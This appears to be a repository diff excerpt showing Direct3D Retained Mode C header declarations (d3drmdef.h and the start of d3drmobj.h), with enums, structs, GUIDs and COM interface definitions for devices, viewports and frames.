} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY;
|
||||
typedef enum _D3DRMCOMBINETYPE {
|
||||
D3DRMCOMBINE_REPLACE,
|
||||
D3DRMCOMBINE_BEFORE,
|
||||
D3DRMCOMBINE_AFTER
|
||||
} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE;
|
||||
typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL;
|
||||
typedef enum _D3DRMPALETTEFLAGS {
|
||||
D3DRMPALETTE_FREE,
|
||||
D3DRMPALETTE_READONLY,
|
||||
D3DRMPALETTE_RESERVED
|
||||
} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS;
|
||||
typedef struct _D3DRMPALETTEENTRY {
|
||||
unsigned char red;
|
||||
unsigned char green;
|
||||
unsigned char blue;
|
||||
unsigned char flags;
|
||||
} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY;
|
||||
typedef struct _D3DRMIMAGE {
|
||||
int width, height;
|
||||
int aspectx, aspecty;
|
||||
int depth;
|
||||
int rgb;
|
||||
int bytes_per_line;
|
||||
void* buffer1;
|
||||
void* buffer2;
|
||||
unsigned long red_mask;
|
||||
unsigned long green_mask;
|
||||
unsigned long blue_mask;
|
||||
unsigned long alpha_mask;
|
||||
int palette_size;
|
||||
D3DRMPALETTEENTRY* palette;
|
||||
} D3DRMIMAGE, *LPD3DRMIMAGE;
|
||||
typedef enum _D3DRMWRAPTYPE {
|
||||
D3DRMWRAP_FLAT,
|
||||
D3DRMWRAP_CYLINDER,
|
||||
D3DRMWRAP_SPHERE,
|
||||
D3DRMWRAP_CHROME
|
||||
} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE;
|
||||
#define D3DRMWIREFRAME_CULL 1
|
||||
#define D3DRMWIREFRAME_HIDDENLINE 2
|
||||
typedef enum _D3DRMPROJECTIONTYPE {
|
||||
D3DRMPROJECT_PERSPECTIVE,
|
||||
D3DRMPROJECT_ORTHOGRAPHIC
|
||||
} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE;
|
||||
typedef enum _D3DRMXOFFORMAT {
|
||||
D3DRMXOF_BINARY,
|
||||
D3DRMXOF_COMPRESSED,
|
||||
D3DRMXOF_TEXT
|
||||
} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT;
|
||||
typedef DWORD D3DRMSAVEOPTIONS;
|
||||
#define D3DRMXOFSAVE_NORMALS 1
|
||||
#define D3DRMXOFSAVE_TEXTURECOORDINATES 2
|
||||
#define D3DRMXOFSAVE_MATERIALS 4
|
||||
#define D3DRMXOFSAVE_TEXTURENAMES 8
|
||||
#define D3DRMXOFSAVE_ALL 15
|
||||
#define D3DRMXOFSAVE_TEMPLATES 16
|
||||
typedef enum _D3DRMCOLORSOURCE {
|
||||
D3DRMCOLOR_FROMFACE,
|
||||
D3DRMCOLOR_FROMVERTEX
|
||||
} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE;
|
||||
typedef enum _D3DRMFRAMECONSTRAINT {
|
||||
D3DRMCONSTRAIN_Z,
|
||||
D3DRMCONSTRAIN_Y,
|
||||
D3DRMCONSTRAIN_X
|
||||
} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT;
|
||||
typedef enum _D3DRMMATERIALMODE {
|
||||
D3DRMMATERIAL_FROMMESH,
|
||||
D3DRMMATERIAL_FROMPARENT,
|
||||
D3DRMMATERIAL_FROMFRAME
|
||||
} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE;
|
||||
typedef enum _D3DRMFOGMODE {
|
||||
D3DRMFOG_LINEAR,
|
||||
D3DRMFOG_EXPONENTIAL,
|
||||
D3DRMFOG_EXPONENTIALSQUARED
|
||||
} D3DRMFOGMODE, *LPD3DRMFOGMODE;
|
||||
|
||||
typedef enum _D3DRMZBUFFERMODE {
|
||||
D3DRMZBUFFER_FROMPARENT,
|
||||
D3DRMZBUFFER_ENABLE,
|
||||
D3DRMZBUFFER_DISABLE
|
||||
} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE;
|
||||
typedef enum _D3DRMSORTMODE {
|
||||
D3DRMSORT_FROMPARENT,
|
||||
D3DRMSORT_NONE,
|
||||
D3DRMSORT_FRONTTOBACK,
|
||||
D3DRMSORT_BACKTOFRONT
|
||||
} D3DRMSORTMODE, *LPD3DRMSORTMODE;
|
||||
typedef DWORD D3DRMANIMATIONOPTIONS;
|
||||
#define D3DRMANIMATION_OPEN 1
|
||||
#define D3DRMANIMATION_CLOSED 2
|
||||
#define D3DRMANIMATION_LINEARPOSITION 4
|
||||
#define D3DRMANIMATION_SPLINEPOSITION 8
|
||||
#define D3DRMANIMATION_SCALEANDROTATION 16
|
||||
#define D3DRMANIMATION_POSITION 32
|
||||
typedef DWORD D3DRMLOADOPTIONS;
|
||||
#define D3DRMLOAD_FROMFILE 0x00L
|
||||
#define D3DRMLOAD_FROMRESOURCE 0x01L
|
||||
#define D3DRMLOAD_FROMMEMORY 0x02L
|
||||
#define D3DRMLOAD_FROMSTREAM 0x04L
|
||||
#define D3DRMLOAD_BYNAME 0x10L
|
||||
#define D3DRMLOAD_BYPOSITION 0x20L
|
||||
#define D3DRMLOAD_BYGUID 0x40L
|
||||
#define D3DRMLOAD_FIRST 0x80L
|
||||
#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L
|
||||
#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L
|
||||
typedef struct _D3DRMLOADRESOURCE {
|
||||
HMODULE hModule;
|
||||
LPCTSTR lpName;
|
||||
LPCTSTR lpType;
|
||||
} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE;
|
||||
typedef struct _D3DRMLOADMEMORY {
|
||||
LPVOID lpMemory;
|
||||
DWORD dSize;
|
||||
} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY;
|
||||
typedef enum _D3DRMUSERVISUALREASON {
|
||||
D3DRMUSERVISUAL_CANSEE,
|
||||
D3DRMUSERVISUAL_RENDER
|
||||
} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON;
|
||||
typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING;
|
||||
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1;
|
||||
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2;
|
||||
static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4;
|
||||
typedef struct _D3DRMVERTEX {
|
||||
D3DVECTOR position;
|
||||
D3DVECTOR normal;
|
||||
D3DVALUE tu, tv;
|
||||
D3DCOLOR color;
|
||||
} D3DRMVERTEX, *LPD3DRMVERTEX;
|
||||
typedef LONG D3DRMGROUPINDEX;
|
||||
static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1;
|
||||
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE);
|
||||
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE);
|
||||
extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR);
|
||||
extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR);
|
||||
extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR);
|
||||
extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||
extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR);
|
||||
#define D3DRMVectorNormalise D3DRMVectorNormalize
|
||||
extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
|
||||
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR);
|
||||
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE);
|
||||
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION);
|
||||
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE);
|
||||
extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION);
|
||||
#endif
|
||||
531
client/d3d/d3drmobj.h
Normal file
531
client/d3d/d3drmobj.h
Normal file
@@ -0,0 +1,531 @@
|
||||
/* $Revision: 1.2 $ */
|
||||
#ifndef _LCC_D3DRMOBJ_H_
|
||||
#define _LCC_D3DRMOBJ_H_
|
||||
#include <objbase.h>
|
||||
#define VIRTUAL
|
||||
#include "d3drmdef.h"
|
||||
#include "d3d.h"
|
||||
#define IUNKNOWN_METHODS(kind) \
|
||||
STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID *ppvObj) kind; \
|
||||
STDMETHOD_(ULONG, AddRef) (THIS) kind; \
|
||||
STDMETHOD_(ULONG, Release) (THIS) kind
|
||||
#define IDIRECT3DRMOBJECT_METHODS(kind) \
|
||||
STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \
|
||||
STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
|
||||
STDMETHOD(DeleteDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
|
||||
STDMETHOD(SetAppData) (THIS_ DWORD data) kind; \
|
||||
STDMETHOD_(DWORD, GetAppData) (THIS) kind; \
|
||||
STDMETHOD(SetName) (THIS_ LPCSTR) kind; \
|
||||
STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \
|
||||
STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind
|
||||
#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype
|
||||
WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT);
|
||||
WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE);
|
||||
WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT);
|
||||
WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME);
|
||||
WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL);
|
||||
WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH);
|
||||
WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER);
|
||||
WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE);
|
||||
WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT);
|
||||
WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE);
|
||||
WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP);
|
||||
WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL);
|
||||
WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION);
|
||||
WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET);
|
||||
WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL);
|
||||
WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW);
|
||||
WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY);
|
||||
WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY);
|
||||
WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY);
|
||||
WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY);
|
||||
WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY);
|
||||
WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY);
|
||||
WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY);
|
||||
WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg);
|
||||
typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta);
|
||||
typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT);
|
||||
typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT);
|
||||
typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *);
|
||||
typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID);
|
||||
typedef struct _D3DRMPICKDESC {
|
||||
ULONG ulFaceIdx;
|
||||
LONG lGroupIdx;
|
||||
D3DVECTOR vPosition;
|
||||
} D3DRMPICKDESC, *LPD3DRMPICKDESC;
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMObject
|
||||
DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMVisual
|
||||
DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMDevice
|
||||
DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE;
|
||||
STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE;
|
||||
STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE;
|
||||
STDMETHOD(Update)(THIS) PURE;
|
||||
STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
|
||||
STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
|
||||
STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE;
|
||||
STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE;
|
||||
STDMETHOD(SetDither)(THIS_ BOOL) PURE;
|
||||
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
|
||||
STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE;
|
||||
STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE;
|
||||
STDMETHOD_(BOOL, GetDither)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
|
||||
STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE;
|
||||
STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMViewport
|
||||
DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE;
|
||||
STDMETHOD(Clear)(THIS) PURE;
|
||||
STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||
STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetField)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE;
|
||||
STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||
STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE;
|
||||
STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE;
|
||||
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE;
|
||||
STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE;
|
||||
STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE;
|
||||
STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE;
|
||||
STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||
STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE;
|
||||
STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE;
|
||||
STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE;
|
||||
STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE;
|
||||
STDMETHOD_(LONG, GetX)(THIS) PURE;
|
||||
STDMETHOD_(LONG, GetY)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetField)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE;
|
||||
STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMFrame
|
||||
DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE;
|
||||
STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
|
||||
STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
|
||||
STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE;
|
||||
STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||
STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
|
||||
STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
|
||||
STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||
STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE;
|
||||
STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE;
|
||||
STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||
STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE;
|
||||
STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE;
|
||||
STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||
STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE;
|
||||
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE;
|
||||
